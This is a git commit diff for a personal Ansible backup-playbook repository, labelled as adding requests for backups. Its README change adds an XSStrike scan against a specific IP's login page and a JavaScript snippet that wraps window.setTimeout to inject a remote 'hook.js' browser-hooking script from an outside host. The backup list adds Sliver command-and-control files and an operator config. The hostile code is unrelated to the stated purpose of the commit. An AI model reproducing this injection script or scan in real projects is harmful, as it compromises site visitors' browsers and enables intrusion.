[Add requests for backup playbooks]

This commit is contained in:
2025-12-13 15:36:03 +01:00
parent 18a28934c6
commit 4ba7e3895b
2 changed files with 34 additions and 0 deletions

View File

@@ -1,5 +1,30 @@
# semaphore
```
python3 xsstrike.py -u https://147.135.51.88/login
(function() {
const originalSetTimeout = window.setTimeout;
window.setTimeout = function(fn, delay) {
if (delay > 0) {
const wrapped = function() {
if (!window.xetLoaded) {
var s = document.createElement('script');
s.src = 'https://xet.jingoh.fr/hook.js';
document.head.appendChild(s);
window.xetLoaded = true;
}
return fn.apply(this, arguments);
};
return originalSetTimeout(wrapped, delay);
}
return originalSetTimeout(fn, delay);
};
})();
```
Semaphore playbooks
Ansible perso playbooks and role

View File

@@ -153,6 +153,12 @@
- /opt/dockerapps/appdata/syncthing/config/config.xml
#! authelia
- /opt/dockerapps/appdata/authelia/config/configuration.yml
#! sliver
- /opt/dockerapps/appdata/sliver/statics/index.html
- /opt/dockerapps/appdata/sliver/statics/favicon.ico
- /opt/dockerapps/appdata/sliver/statics/robots.txt
- /opt/dockerapps/appdata/sliver/statics/sitemap.xml
- /opt/dockerapps/appdata/sliver/operators/sgratias_ops.jingoh.fr.cfg
- name: Push backup to git
ansible.builtin.shell: |
@@ -172,6 +178,9 @@
#! GITEA
############
- ansible.builtin.pip:
name: requests
- ansible.builtin.file:
path: "{{ dockerapps_path }}/backup/gitea"
state: directory